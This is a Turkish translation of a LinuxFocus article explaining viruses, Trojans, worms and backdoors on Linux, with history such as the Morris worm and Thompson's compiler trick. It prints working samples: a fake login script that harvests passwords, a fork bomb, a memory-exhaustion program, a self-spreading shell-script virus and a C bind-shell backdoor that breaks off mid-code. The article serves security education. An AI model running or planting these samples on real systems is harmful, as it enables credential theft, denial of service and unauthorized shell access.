|
![]() |
|
![]() tarafýndan Christophe Blaess (homepage) Yazar hakkýnda: Christophe Blaeses baðýmsýz bir havacýlýk mühendisidir. Bir Linux meraklýsýdýr ve bir çok iþini bu iþletim sistemini kullanarak yapmaktadýr. Linux yardým sayfalarýnýn çevirisini içeren ve Linux Dokümantasyon Projesi adýyla yayýnlanan çevirilere eþgüdüm saðlar. Türkçe'ye çeviri: Hüseyin Kaya <hkaya(at)be.itu.edu.tr> Gülþen Taþkýn <gulsen(at)be.itu.edu.tr> Sevda Üsküplü <sevda(at)be.itu.edu.tr> D. Melih Narin <melih(at)be.itu.edu.tr> Ýçerik: |
Özet:
Bu makale ilk önce güvenlik üzerine yazýlarýn yer aldýðý
bir linux dergisinin Fransa özel sayýsýnda yayýnlandý. Editör,
yazarlar ve çevirmenler dostça LÝnuxFocus dergisine bu özel sayýda
yeralan bütün makaleleri yayýnlama hakký verdiler. Dolayýsýyla,
LinuxFocus dergisi bu makaleleri Türkçe'ye çevirir çevirmez
sizlere sunacak. Bu çalýþma içersinde yeralan herkese teþekkürler.
Bu özet ayný kökene sahip tüm makaleler için yeniden oluþturulacak.
Bu makale Linux sisteminde saldýrgan yazýlýmlardan kaynaklanabilecek iç güvenlik problemlerini yeniden gözden geçirir. Bu çeþit yazýlýmlar (virüsler, solucanlar ve Truva atlarý gibi) insan müdahalesi olmaksýzýn zarara neden olabilirler. BÝz bu konuda, çeþitli zayýflýklardan bahsederek ve bu bedelsiz yazýlýmlarýn olumlu ve olumsuz yanlarý üzerinde durarak konuyu derinlemesine inceleyeceðiz.
Kullanýcý için genellikle kafa karýþtýrýcý olan, özellikle sýk sýk karþýlaþýlan çeþitli mekanizmalara dayanan dört tip belirli tehdit söz konusudur. Bunlar:
Bu saldýrgan yazýlýmlarý sýnýflandýrmak her zaman bu kadar kolay olmayabilir. Örneðin, bazý gözlemciler tarafýndan virüs olduklarý düþünülen fakat bazý gözlemciler tarafýndan da solucan olduklarý düþünülen ve ne olduklarý konusundaki son kararý karmaþýk hale getiren programlar vardýr. Hangi tehlikelerin Linux sistemine bir tehdit oluþturduðunu açýklamayý bu makalenin kapsamý olarak düþünmek temel deðildir.
Bu dört sorun zaten Linux sisteminin altýnda bulunmaktadýr genel inanýþa karþý olarak, elbette, virüsler Linux iþletim sisteminde DOS iþletim sistemine göre çok daha az yayýlma alaný bulabilmektedirler fakat mevcut tehlike ihmal edilmemelidir. Risklerin neler olduðuna bir göz atalým.
Potansiyel TehditlerVirüs, konuk programýn özüne yüklenmiþ, yeni bir çalýþtýrýlabilir dosyaya nüfuz ederek kendi kendini çoðaltma yeteneðine sahip bir kod parçasýdýr. Virüsler yetmiþli yýllarda, o dönemin programcýlarý "core war" adý verilen oyunu oynarken ortaya çýkmýþtýr. Bu oyun, Bell AT&T laboratuvarlarýndan gelmektedir [MARSDEN 00]. Oyunun amacý, sýnýrlý bir bellek alaný içersinde küçük programlarýn paralel bir þekilde koþturularak birbirlerini ortadan kaldýrmalarýný saðlamaktý. Ýþletim sistemi, yarýþmacýlarý öldürme amacýyla karþýlýklý saldýrýlara izin vererek programlarýn bellek alanlarý arasýnda koruma saðlamadý. BÖylece, yarýþmacýlarýn bazýlarý olasý en geniþ bellek alanýný '0' ile bombalayarak, bazýlarý da sürekli bir þekilde adres boþluklarýna hareket ederek rakibin kodunu yeniden yazmayý ümit ediyorlardý ve bazen birkaçý iþbirliði ile güçlü olan düþmaný elemeye çalýþýyorlardý.
Oyun için uygulanan algoritmalar, özellikle varolan makinalarýn birçoðunda varolan emülatör boyunca çalýþtýrýlan, "red code" (kýrmýzý kod) konusu ile ilgili yaratýlan algoritmalar, makina diline çevrildi. Oyuna olan ilgi Life of Conway oyununa, fraktallara genetik algoritmalara duyulan coþku gibi daha fazla bilimsel bir meraktý.
Ancak, core war ile ilgili sonraki makaleler Scientific American [DEWDNEY 84] dergisinde yayýnlandý, kaçýnýlmaz olan olmalýydý ve bazý insanlar ilk önce Apple bilgisayarlar ve daha sonra da MacIntosh ve PC'lerde özellikle disket boot kesimine ya da çalýþtýrýlabilir dosyalara adanmýþ kod parçalarý yazmaya baþladýlar.
MS DOS iþletim sistemi biçimleri (formatlarý) iyi bilinen statik çalýþtýrýlabilir dosyalar, bellek koruma eksikliði, dosya ulaþým izinlerinde güvenlik yokluðu, yýðýlmýþ yerleþik TSR programlarýnýn kullanýmý ile virüslerin çoðalmasý için bir tercih ortamýydý. Buna kullanýcýlarýn aklýnýn sýnýrýný, disketler üzerindeki çalýþtýrýlabilir programlarýn dosyalarýn kökenine dikkat edilmeksizin alabildiðine deðiþtirilmesini de eklemeliyiz.
En basit haliyle, virüs bir uygulamayý baþlatýrken fazla olarak çalýþtýrýlacak kod parçasýdýr. Bu zaman içinde virüs henüz içine girilmemiþ diðer çalýþtýrýlabilir dosyalarý arayacak, kendini bu dosyalarýn içine gömecek (büyük olasýlýkla esas programý önlem olarak deðiþtirmeyecek) ve programdan çýkacaktýr. Yeniden çalýþtýrýlabilir dosyalar uygulamaya konulduðunda bu iþlem süreci yeniden baþlayacaktýr.
Virüsler kendilerini otomatik olarak yinelemekte "weapon"'larýn geniþ gruplarýndan yarar saðlayabilirler. [LUDWIG 91] ve [LUDWIG 93]'in içinde DOS iþletim sistemi için virüslerin tanýmý, geçerli anti-virüs yazýlýmlarýnýn ötesinde kalarak saklanmanýn kodda oluþacak sürekli deðiþiklikler, sçkisiz þifreleme gibi üst düzey anlamlarýný kullanarak detaylý bir þekilde vermektedir. Hatta genetik algoritma yöntemlerini kullanarak virüslerle karþýlaþmak, onlarýn yaþamlarýný sürdürmelerini eniyilemek ve yeteneklerini yeniden oluþturmak olasýdýr. Benzer bilgiler çok ünlü bir makale olan [SPAFFORD 94] makalesinden bulunabilir.
Fakat þunu aklýmýzda bulundurmalýyýz ki; suni hayat deneyimlerinin ötesinde, virüsler yaygýn bir zarara neden olabilirler. Küçük bir kodun çoklu yinelenmesinin prensibi sadece disk ve bellekteki boþluðun ziyanýdýr. Virüsler, daha fazla zararlý olan mantýksal bombalar (truva atlarý konusunda incelenecek) gibi diðer varlýklar için bir destek -taþýma aracý- olarak kullanýlýrlar.
Kuþatýlmýþ Truva için dini bir teklif olarak sunulmuþ ve Yunan askerleriyle dolu kocaman bir tahtadan atý þehrin içine almak kötü bir fikirdi. Truva atý içine gizlice girmiþ askerler gece olduðunda þehre içerden saldýrmýþlar ve böylece Yunanistan Truva Savaþýný kazanmýþlardýr.
Ünlü "Truva atý" terimi bilgisayar güvenlik alanýnda öncelikli zararsýz uygulamalarý belirtmek için kullanýlýr. Virüslerde sözü edildiði gibi yýkýcý kodlar mantýksal bombalar içerenlerdir.
Mantýksal bomba çeþitli etkilere sahip, kasýtlý olarak zarar veren program parçalarýdýr.
Mantýksal bomba içinde bulunduðu sistemi fiziksel olarak da yýkmaya çalýþabilir. Bunun olasýlýðý oldukça azdýr fakat bu türleri de bulunmaktadýr. (CMOS bellek silinmesi, modemde anlýk belleðin deðiþtirilmesi, yazýcýlarýn, tarayýcýlarýn ve hard diskin okuyucu kafalarýndaki ayarlarýna yapýlan yýkýcý hareketler...)
Patlayýcýlýk özelliði ile devam edelim, sözgelimi bir mantýksal bomba harekete geçmek için tetiklenmeye ihtiyaç duysun. Aslýna bakýlacak olursa, Truva atlarýný veya virüsleri kullanarak hemen yýkýcý birtakým iþlere giriþmek verimli deðildir. Mantýksal bombayý yerleþtirdikten sonra bir süe beklemek daha akýlcý bir yaklaþýmdýr. Böyle yapmakla, eðer bir virus sözkonusu ise, baþka sistemlere yayýlma ihtimalini artýrýr; eger sözkonusu bir truva atý ise, kullanýcýlarýn makinasýnda oluþan gariplikler için hemen yeni programdan süphe duymasýný engellersiniz.
Diðer zarar verici hareketler gibi, baþlama mekanizmasýda bir çok farklýlýklar gösterebilir: yüklemeden sonra on gün bekleme, bir kullanýcý heabýnýn silinmesi, klavya ve farenin 30 dakika için etkisizleþtirilmesi, yazýcý kuyruklarýnýn aþýrý dolmasý gibi. Ve daha bir çok ihtimal. En yaygýn Truva atlarý bugünlerde cok basmakalýp olarak görünse de ekran koruyucalardýr. Bu programlar çok çekici bir gürüntünün arkasýnda farkedilmeden bir çok zararlar verebilirler, özellikle mantýksal bomba yüklemeden yanlýzca bir saat sonra harekete geçecekse. Bu süre içinde kullanýcý çok büyük olasýlýkla bilgisayarýnýn baþýnda olmayacaktýr.
Meþhur bir diðer truva atý ise aþaðýda görülen ve bir kullanýcý giriþ ortamý hazýrlayan ve kullanýcý adý ve þifrelerini programý çalýþtýran kiþinin e-ileti adresine gönderen küçük bir kabuk programýdýr. Bu kabuk kullanýlmayan bir konsolda çalýþýrsa o konsoldan giriþ yapmaya çalýþan kullanýcýnýn þifresini öðrenir.
#! /bin/sh clear cat /etc/issue echo -n "login: " read login echo -n "Password: " stty -echo read passwd stty sane mail $USER <<- fin login: $login passwd: $passwd fin echo "Login incorrect" sleep 1 logout
Programýn çalýþtýktan sonra kapanmasý için exec
komutu ile baþlatýlmasý gerekiyor. Kurban "Login incorrect"
yazýsýný görünce þifresini yanlýþ girdiðini düþünecek ve normal
yollarla bir daha sisteme girmeyi deneyecektir. Bu kabuðun daha
geliþmiþ sürümleri X11 tipi baðlantýlarý simule edebiliyor.
Böyle tuzaklara düþmemek için, bir konsoldan giriþ yapmadan
önce yalancý bir kullanýcý adý ve þifre ile bir deneme yapmak
akýlcý bir yaklaþým olacaktýr (bu belli bir noktadan sonra
refleks haline gelecektir).
"Solucanlar" virüsler ile ayný prensipten gelir. Kendilerini kopyalama yöntemi ile çoðalmayý hedeflerler. Kendi özellikler olmamamsýna karþýn, bunlar mantýksal bombalar taþýyabilirler. Virüsler ile Solucanlar arasýndaki en önemli fark, Solucanlarýn virüsler gibi bir yayýlma aracý olarak programlarý kullanmamasý, bunun yerine að içinde kullanýlan elektronik ileti gibi servisleri yayýlma aracý olarak kullanmalarýdýr.
Solucanlarýn teknik seviyeleri biraz daha yüksektir; að servislerini saðlayan yazýlýmlarýn açýklarýný bularak kendilerini uzak makinaya kopyalarlar. En güzel örneði 1998 yýlýndaki "Internet Worm" adý verilen solucandýr.
Internet Worm mantýksal bomba içermeyen gerçek bir solucan olmakla birlikte, etkileri beklenmedik þekilde çok yýkýcý olmuþtu. Bu konu hakkýnda açýklayýcý bilgiyi [KEHOE 92] kaynaðýnda, ayrýntýlarý [SPAFFORD 88] veya [EICHIN 89] kaynaklarýnda bulabilirsiniz. Teknik olmayan fakat oldukça çarpýcý bilgiler içeren ise [STOLL 89] adlý kaynakta bulabilirsiniz.
Kýsaca anlatmak gerekirse bu program Cornell Üniversitesinde öðrenci olan Robert Morris Jr tarafýndan yazýlmýþtý. Bu kiþi að protokollerinin güvenlik sorunlarýyle ilgili yazdýðý bir makale ile zaten tanýnýyordu [MORRIS 85]. NSA'nýn bir kolu olan NCSC kurumunda bilgisayar güveliði ile sorumlu kiþinin oðluydu. Program 1998 yýlýnýn Kasým ayýnýn ikinci günü öðleden sonra hayat geçmiþti ve Internet'e baðlý birçok sistemin durmasýna yol açmýþtý. Program birkaç aþamada çalýþmýþtý:
netstat
benzeri programlarý kullanýyordu.
/etc/passwd
),
böylece çok basit seçilmiþ þifreleri tahmin ediyordu.
Bu ilk açýk þifrelerin shadow adlý ayrý
bir dosyada tutulmasýyla daha sonra kapatýldý.~/.rhost
ve /etc/hosts.equiv
dosyalarýný kullanarak
ulaþmaya çalýþýyordu. Eger ulaþýrsa rsh
komutunu kullanarak komþu bilgisayarda komutlar iþletiyordu.
Böylelikle kendisini baþka bir makinaya kopyalýyor ve döngü
böyle sürüpü gidiyordu.
fingerd
'buffer overflow' açýðý.
(Güvenlik ile ilgili seri makalelere ir göz atýn:
Avoiding security
holes when developing an application - Part 1, Avoiding security holes when
developing an application - Part 2: memory, stack and
functions, shellcode,
Avoiding security holes when developing an application - Part 3:
buffer overflows.)sendmail
adlý yazýlýmýn bir özelliði
kullanýlýyordu. Bu özelliðin normalde kullanýlmamasý
gerektiði halde sistem yöneticileri genellikle bunu
ihmal ediyordu.Belirtmek gerekir ki, bu solucan uzak bir bilgisayara komutlar gönderme imkaný bulduktan sonra kendisini o makinaya kopyalama iþlemi oldukça karmaþýktý. Küçük bir C programýnýn ilk önce taþýnmasý, orada derlenmesi ve çalýþtýrýlmasý gerekiyordu. Daha sonra bu program iki bilgisayar arasýnda baðlantý kuruyor ve solucanýn taþýnmasýný saðlýyordu. Solucanýn önceden derlenmiþ çalýþtýrýlabilir dosyalarý bir çok platfrom için vardý (Vax ve Sun) ve test edilmiþti. Ayrýca, solucan iz býrakmadan kendisini çok zekice saklýyordu.
Ne yazýk ki, bilgisayarlarýn tekrar ve tekrar ele geçirilmesini engelleyem mekanizma beklendiði gibi iyi iþlemedi ve mantýksal bomba taþýmayan Internet 88 solucaný yýkýcý etkisi gösterdi. Bunda iþ yükü aðýr bilgisayarlarýn da bu solucandan etkilenmesinin büyük payý oldu (özellikle elektronik ileti taþýnmasýný saðlayan ve haberleþmeyi saðlayan bilgisayarlar gibi).
Bu solucanýn yazarý bir süre için hapishaneye girdi.Solucanlara, çok karmaþýk olduklarý için, genellikle sýkça rast gelinmez. Solucanlar ünlü "ILoveYou" benzeri elektronik iletiler ile gönderilen virüsler ile kariþtýrýlmamalýdýr. Bu virüsler genellikle Basic ile yazýlmýþ ileti açýlýnca çalýþan basit makrolardýr. Bunlar sadece bazý iþletim sistemlerinde ve ileti okuyucu programlarýn çok basit bit þekilde ayarlandýðý sistemlerde çalýþýrlar. Bu programlar Truva atlarýna daha çok benzerler çünkü kullanýcýn bunlarýn baþlayabilmesi için bir iþ yapmasý gerekir.
Arkakapýlar Truva atlarý ile karþýlaþtýrýlabilir ama ayný deðillerdir. Bir arkakapý üstün bir kullanýcýya bir yazýlýmý deðiþtirme imkaný verir. Oyunlarda sýkça kullanýlan daha çok kaynak ve üst seviyelere geçmeye yarayan ve cheat codes denilen hilelere benzerler. Fakat bu baðlantý onayý (connection authentication) veya elektronik ileti benzeri uygulamalar için de geçerlidir, çünkü bu uygulamalar da üreticisinin belirlediði gizli bir geçiþe olanak verebilir.
Bazý kolaylýklar saðlamasý açýsýndan, yazýlýmcýlar
ürettikleri yazýlýmlar için küçük kapýlar býrakabilirler.
Bazen bu birtakým kullanýcýlar için öntanýmlý þifreler olabilir
(system
, admin
,
superuser
, gibi). Bunlar genellikle belgeler içinde
yer almadýklarý için yazýlýmcýlar tarafýndan olduklarý gibi
býrakýlýr.
"Wargame" adlý film içinde geçen ve sisteme giriþ saðlayan deðiþik giriþ kodlarýný hatýrlayýn. Daha yakýn geçmiþten örnekler vermekte mümkün [THOMPSON 84]. Unix'in babalarýndan Ken Thompson'ýn yýllar önce geliþtirdiði gizli giriþ sistemini açýklýyor:
/bin/login
uygulamasýnýn içine birtakým küçük
kodlar yerleþtirerek, önceden belirlediði bir þifreyle sisteme
/etc/passwd
dosyasýný hiç kullanmadan giriþ yapan
baþka bir login
sürümü gelirtirir. Böylece bütün
sistemleri bu sürümle ziyaret eder.login.c
kaynak kodu Unix sistemlerinde mevcuttu ve herkes tarafýndan
tuzak içeren kod okunabiliyordu. Thompson oynanmamýþ bir
login.c
kodunu yine de tutuyordu.login.c
kodunu derleyip tuzak içeren kodu
silebiliyordu. Bu yüzden Thompson standart olan C derleyicisi
ile oynayarak birisinin login.c
kodunu derleðini
anladýðý anda tuzak olan kodun derlenmesini saðladý. cc.c
açýktý ve herkes görebiliyor ve yeniden derleyebiliyordu.
Thompson yine derleyicinin oynanmamýþ halini tuttu
ama önceden derlediði derleyici oynanmýþ login.c
kodu yine ekler...Buna karþý ne yapýlabilir? Aslýnda hiçbir þey! Yapýlacak tek þey sistemi yeni baþtan kurmak. Sistemi yeniden kurmadýktan sonra, iþletim sistemine, derleyeciye kýsacasý hiçbirþeye güvenemezsiniz. Kaynak kodlarý tamamen elinizde olsa bile uygulamalarýn temiz olduðuna kesin emin olamazsýnýz.
Herhangi bir sistemin bazý ana risklerinden sözettik. Þimdi de serbest yazýlým ve Linux üzerinde ki olasý tehditlere bir göz atalým.
Ýlk önce, mantýksal bir tuzaðýn Linux makinasý üzerinde çalýþtýrýldýðýnda, sistem üzerinde ki etkilerini inceleyelim. Besbelli, bu durum kullanýcý haklarýna ve istenilen etkiye baðlýdýr.
Gizli bir dosyanýn okunmasý yada sistem dosyasýnýn herhangi bir tahribata uðramasý durumunda, iki türlü durum söz konusudur. Eðer bomba, root birimi altýnda kendi kendine çalýþýrsa makina üzerinde ki bütün gücü ele geçirir. Buna her partisyonun silinmesi ve yukarýda sözü edilen hardisk üzerindeki olasý tehlikeleri de ekleyebiliriz. Eðer bomba herhangi bir birim üzerinde uygulaniyorsa, hakký olmayan bir kullanýcýdan daha az yikici olur. Sadece bu kullanýcýya ait verileri yok edecektir. Bu durumda, herkes kendine ait olan dosyalarýný korumalýdýr. Dikkatli bir sistem yöneticisi root olarak girdiðinde, bu hesap altýnda ki mantiksal tuzaklarýn sisteme girme olasýlýðýný azaltmak için birçok sorumluluðu vardýr.
Linux sistemi özel veriye eriþim ve hardisk eriþiminde oldukça iyi bir korumaya sahiptir. Ancak saldýlarý birçok kaynak kullanarak yapýlan saldýrýlarý önleme konusunda oldukça hassastýr. Örneðin, aþaðýdaki C programýný, normal bir kullanýcý olarak bile sisteme girdiðinizde durdurmak zordur. Eðer kullanýcý tarafýndan kullanýlan iþlemci sayýsý sýnýrlanmadýysa, iþlemci tablosundan herturlu giriþ yokedilecek ve programý oldurmeyi deneyen herhangi bir baðlantý önlenecektir.
#include <signal.h> #include <unistd.h> int main (void) { int i; for (i = 0; i < NSIG; i ++) signal (i, SIG_IGN); while (1) fork (); }
Kullanýcýlarýn iþlemci kullanma sayýsý üzerinde bir kýsýt (
setrlimit()
ile sistem çaðýrma ve
ulimit
kabuk fonksiyonu) uygularsaniz,
bu tür programlarýn ömrü
daha kýsa olacaktýr. Fakat, bunlar sadece sistemin
ulaþýlmaz olduðu sürenin bazý aralýklarýndan sonra etkili olur.
Ayný baðlantýda, aþaðýdaki program ulaþabildiði bütün belleði kullanýlýr ve döngüler, merkezi iþlem birimleri çevrimlerini harcar. Böylece diðer iþlemciler de tamamen harcanir.
#include <stdlib.h> #define LG 1024 int main (void) { char * buffer; while ((buffer = malloc (LG)) != NULL) memset (buffer, 0, LG); while (1) ; }
Genellikle, bu program en küçük çekirdekdeki sanal bellek yönetim mekanizmasý tarafýndan otomatik olarak yok edilir. Fakat bundan önce, daha fazla belleðe ihtiyaç duyan diðer iþlemler hemen ardýndan çekirdek tarafýndan yok edilir (Örneðin, X11 uygulamalarý ). Ayrýca, belleðe ihtiyaç duyan diðer bütün iþlemciler de ayný þekilde olacaktýr.
Að özelliklerini sýralamanýn dýþýnda tutmak oldukça basittir,
overloading the corresponding port with continued connection
requests. Çözüm oluþumdan kaçmaktýr. Fakat bu oluþumlar genellikle
sistem yöneticileri tarafýndan uygulanmaz. Linux altýnda çok dikkatli
olmak gerekir. Hatta mantýksal bobma normal bir kullanýcý
tarafýndan gönderileliyorsa kendine ait olmayan dosyalara zarar
vermemese bile bu durum son derece rahatsýzlýk verici býr durumdur.
Aþ servisinde ve sisteme kötü bir gerilim yüklemek için birkaç
fork()
, malloc()
and connect()
komutlarýný birleþtirerek bir program oluþturmak yeterli olacaktýr.
Konu: Unix Virüsleri BiR UNIX ViRÜSÜ ALDINIZ Bu virüs birtakým kurallara göre iþler. Eðer Lunix yada Unix kullanýyorsanýz,lütfen bu iletiyi arkadaþýnýza gönderiniz ve seçkisiz olarak bir kaç sistem dosyasýna zarar veriniz. |
Yaygýn bir fikire raðmen, virüsler Linux altýnda bir tehdit unsuru olabilirler. Linux altýndaki bir virusun yayýlmak için yararlý bir yer bulamayacaðý da ayrý bir gerçektir. ilk olarak, bir makinanýn phase of infesting ne bir göz atalým. Virüs kodu burada çalýþmak zorundadýr. Bunun anlamý baþka bir sistemden bozulmuþ dosyalarýn kopyalanmýþ olduðudur. Linux dünyasýnda yaygýn uygulama, kullanýcýya bir uygulama saðlamak ve ona çalýþtýrýlabilir dosyayý göndermek yerine URL adresinin nerede olduðunu göstermektir. Bu çabuk bir þekilde denetlenecek olan bir resmi bir yöreden gelen bir virus anlamýna gelir. Bir kere bir makinaya virüs bulaþtýysa, virüsün yayýlabirliðini denetlemek için önceden derlebilen uygulamalar için daðýtýk bir düzenek kullanýlmalýdýr. Gerçek þu ki, serbest yazýlým dünyasýnda mantýksal bir bomba için, çalýþtýrýlabilir dosyalar iyi bir iletiþim aracý deðildir.
Besbelli, yazma haklarýna sahip olan kullanýcýnýn dosyayý nerede çalýþtýrdýðýna baðlý olarak sadece bozuk bir uygulama dosyalara yayýlabilir. Deneyimli bir sistem yöneticisi herhangi bir iþlem için sadece root olarak Concerning the spreading within a machine, obviously a corrupt application only can spread to files for which the user running it, has writing rights. The wise administrator only working as root for operations really requiring privileges, is unlikely running a new software when connected under this identity. Apart from installing a Set-UID root application infected with a virus, the risk is then quite reduced. Normal bir kullanýcý bozulmuþ bir dosyayý çalýþtýrdýðýnda, virüs sadece bu kullanýya ait olan dosyalar üzerinde etkin olabilir.
Virüsler Unix bir sistem için çok uzun zamandir bir ütroyaydi. Bunun nedeni iþlemcilerin farklýlýðý (esembler dilleri) ve önceden derlenebilen kodlarý sýnýrlayan kütüphanelerdir. Bugün, bu gerçek deðildir ve GlibC 2.1 i386 bir iþlemci için Linux da derlenebilen ELF dosyalarýna etki eden bir virüs bir çok hedef bulabilir. Ayrýca, virüsler, onu çaliþtýran bir anaç' a (host) baðlý bir dilde yazýlabilirler. Örneðin, burada kabuk betiði için bir virüs olsun. Virüs, çalýþtýðý dizin altýnda bulunan bütün kabuk betiklerinin içine girmeyi denemektedir. Ayný betiðin bir kereden fazla bir zarara uðramasýndan kaçýnmak için, virüs ikinci seferde bozulmuþ yada aþýlanmýþ yorumunun bulunduðu sýrayý ihmal eder.
#! /bin/sh # infected ( tmp_fic=/tmp/$$ candidates=$(find . -type f -uid $UID -perm -0755) for fic in $candidates ; do exec < $fic # Let's try to read a first line, if ! read line ; then continue fi # and let's check it is a shell script. if [ "$line" != "#!/bin/sh" ] && [ "$line" != "#! /bin/sh" ] ; then continue fi # Let's read a second line. if ! read line ; then continue fi # Is the file already infected or vaccinated ? if [ "$line" == "# vaccinated" ] || [ "$line" == "# infected" ] ; then continue fi # Otherwise we infect it: copy the virus body, head -33 $0 > $tmp_fic # and the original file. cat $fic >> $tmp_fic # Overwrite the original file. cat $tmp_fic > $fic done rm -f $tmp_fic ) 2>/dev/null &
Virüs kendini yada eylemþnþ saklama durumunda deðildir.
Beklenen þu ki, orjinal betik kendi iþini yaparken virüs
arkaplanda iþlemlerini yapar. Özellikle, find.
ile find /
deðiþtirme durumunda. Bu programýn
basitliðine raðmen, onu kontrolünü elden kaybetmek son derece
kolaydýr. Özellikle de sistem eðer isteðe göre birçok kabuk betikleri
içeriyorsa.
Tablo 1, Linux altýnda en iyi bilinen, virüsleri içermektedir. Bunlarýn hepsi, dosya baþlýklarý ve kalan orjinal kodtan geriye doðru hareket etmesinden sonra, çalýþtýrýlabilir ELF dosyalarýný bozar. Aksinden söz edilmediði sürece, virüsler sistem dizinlerindeki potansiyel hedefleri tararlar. Bu tablodan, Lunix altýndaki virüslerin , çok alarm vermemelerine raðmen,(zarar verici virüsler olana kadar) kayda deðer olmayan virüsler olduðunu düþünebilirsiniz..
isim | Mantýksal Bomba | Notlar | |
Bliss | Görünürde aktif deðil | Dosyanýn otomatik arýtýlamsý
--bliss-disinfect-files-please ile saðlanabilir.
|
|
Diesel | Etkisiz | ||
Kagob | Etkisiz | Zarar verici programý çalýþtýrmak için geçici bir dosya kullanýr. | |
Satyr | Etkisiz | ||
Vit4096 | Etkisiz | Sadece geçerli dizinde ki dosyalarý bozar. | |
Winter | Etkisiz | 341 bitlik bir virus kodudur. Sadece geçerli olan dizinde ki dosyalarý bozar. | |
Winux | Etkisiz | Bu virüs iki farklý kod taþýr ve ELF Linux dosyalarý kadar ve Windows dosyalarýna da zarar verir. Ancak, onun yayýlmasýný azaltan ve saklandýðý yerden diðer partisyonlara ulaþmak olasý deðildir. | |
ZipWorm | Windows ve Linux üzerinde bulduðu sýkýþtýrýlmýþ dosyalarýn içine "troll" dokumaný yerleþtirir."troll"= isveç mitodolojisinde bir cin |
Zararsýz bir virüs olan "Winux" , Windows yada Linux altýnda çalýþmak için yayýlabilir. Bu özelliði tehlikeli olmamasýna raðmen yapabileceklerinin kanýtý olarak karþýmýza çýkar . Bu tip yapýlar bir bölümden (partition) baþka bir bölüme sýçrayabilir , ayrýþýk bir aðý Samba ve benzeri sunucular kullanarak istila edebilir.
Eðer bölüme , virüs olan Windows sisteminden eriþilirse, Linux koruma mekanizmasý etkisiz hale gelir . Ayný þekilde Linux altýnda alýnan her önlem ; Windows bölümünden yapýlan geri yüklemelerde (reboot) etkisiz kalýr . Bu tip problemler iki iþletim sistemi içeren her makinada görülür ve genel koruma düzeyi en güçsüz iþletim sistemine göre kuruludur . Bu sorunun tek çözümü vardýr , o da ; herhangi bir Windows uygulamasý aracýlýðýyla Linux bölümüne eriþmeyi engellemektir . Bu yaklaþým henüz fazla yaygýnlaþmamýþtýr ve Linux makinalar için tehlike arz etmektedir .
Truva atlarýda en az virüsler kadar tehlikelidir ve kullanýcýlar için endiþe vericidir . Virüs tarafýndan taþýnan Logical Bomb un aksine Truva atýndaki geliþtiricisi tarafýndan yerleþtirilmiþtir . Ücretsiz yazýlým dünyasýnda ; ürün yazarýndan son kullanýcýya geçerken bir yada iki aracýdan geçer. Eðer bir Truva atý farkedilirse suçluyu bulmak zor deðildir.
Bir uygulamanýn kaynak koduna sahip olmak ve derlemek güvenli olmasýný garanti etmez. Örneðin ; zaralý bir logicalbomb bir yapý dosyasýna (./configure, en az 2000 satýr uzunluðunda) kendini saklayabilir ve en son yükleme aþamasýnda aktif hale gelir .
Windows altýndaki virüs ve truva atýnýn bir önemli zararýda yardým sayfalarýndaki (readme dosyalarý) makrolarla beraber ortaya çýkar . Þimdilik Linux kullanýcýlarýnýn bundan korkmasý yersizdir çünkü bu tip makrolar Linux altýnda yorumlanamazlar .
Truva atlarýnýn bir özelliðide zararsýz olmasýna raðmen kullanýcýyý oldukça güç durumda býrakmasýdýr. Örneðin Usenet de sýkýþtýrýlmýþ dosyalar kendi kendine büyür ve diski doldurur , bazý postscript dosyalarý yorumlayýcýyý (interpreter) kitler ve CPU zamanýný boþa kullanýr . Bu tip örnekler zararsýzdýr . Tek yaptýklarý kullanýcýyý çileden çýkartmak ve zamanýndan çalmaktýr.
Kurtçuklar að sunucusunun zayýflýklarýndan istifade eder . Teorik olarak Internete baðlý workstation lardaki risk sunuc aracýlýðýyla sürekli baðlý olan sistemlere göre daha azdýr. Baðlantý seçeneklerinin günden güne artmasý ( Kablo, DSL,T1,T3,...vs.) ve að servislerinin (HTTP,FTP,...vs.) kullanýlmasý hýzla herkes için tehlike oluþturmaktadýr .
Ýsim | Zayýflýlarý | Notlar |
Lion (1i0n ) |
bind |
Sistem bilgisini Çin deki bir elektronik posta adresine gönderir. |
Ramen | lpr , nfs ,
wu-ftpd |
index.html dosyasýný deðiþtirir. |
Adore (Red Worm) | bind , lpr , rpc ,
wu-ftpd |
Sisteme arka kapý yükler ,elektronik postayla Çin ve Amerik ya bilgi gönderir. Ýþlemlerin saklamak için ps modifiyeli versiyonunu yükler. |
Cheese | Lion gibi | Lion tarafýndan açýlan arka kapýlarý bulur ve kaldýrýr. |
Kurtlarýn yayýlma zamaný sýnýrlýdýr . Varlýklarýný devam ettirebilmek için kendilerini bir sistemden diðerine kopyalamalarý gerekir . Hedef uygulamayý hýzla güncellemek yayýlmasýný önler .
Arka kapý problemi önemlidir, ücretsiz yazýlýmlarda bile , tabiki herkes kaynak kodunu okuyarak teorik olarak programýn ne yaptýðýný anlayabilir . Fakat çok az insan internetten arþiv bilgilerini indirir . Örneðin aþaðýdaki küçük program bile büyük ve tam bir arka kapý saðlar . Küçük boyutuyla kendini büyük bir uygulamaya rahatça saklayabilir . Program kitabýmdaki pseudo-terminal mekanizmasý örneðinden alýnmýþtýr . ([BLAESS 00]). Açýklama ve hata kontrol satýrlarý kýsa olmasý bakýmýndan kaldýrýlmýþtýr. Program çalýþtýrýdýðý zaman belitilen portta (varsayýlan 4767) bir TCP/IP sunucusu açar ve her baðlantý isteðinde herhangi bir kontrol olmaksýzýn kabuða eriþir!!
#define _GNU_SOURCE 500 #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <termios.h> #include <unistd.h> #include <netinet/in.h> #include <sys/socket.h> #define ADRESSE_BACKDOOR INADDR_ANY #define PORT_BACKDOOR 4767 int main (void) { int sock; int sockopt; struct sockaddr_in adresse; /* address */ socklen_t longueur; /* length */ int sock2; int pty_maitre; /* pty_master */ int pty_esclave; /* pty_slave */ char * nom_pty; /* name_pty */ struct termios termios; char * args [2] = { "/bin/sh", NULL }; fd_set set; char buffer [4096]; int n; sock = socket (AF_INET, SOCK_STREAM, 0); sockopt = 1; setsockopt (sock, SOL_SOCKET, SO_REUSEADDR, & sockopt, sizeof(sockopt)); memset (& adresse, 0, sizeof (struct sockaddr)); adresse . sin_family = AF_INET; adresse . sin_addr . s_addr = htonl (ADRESSE_BACKDOOR); adresse . sin_port = htons (PORT_BACKDOOR); if (bind (sock, (struct sockaddr *) & adresse, sizeof (adresse))) exit (1); listen (sock, 5); while (1) { longueur = sizeof (struct sockaddr_in); if ((sock2 = accept (sock, & adresse, & longueur)) < 0) continue; if (fork () == 0) break; close (sock2); } close (sock); if ((pty_maitre = getpt()) < 0) exit (1); grantpt (pty_maitre); unlockpt 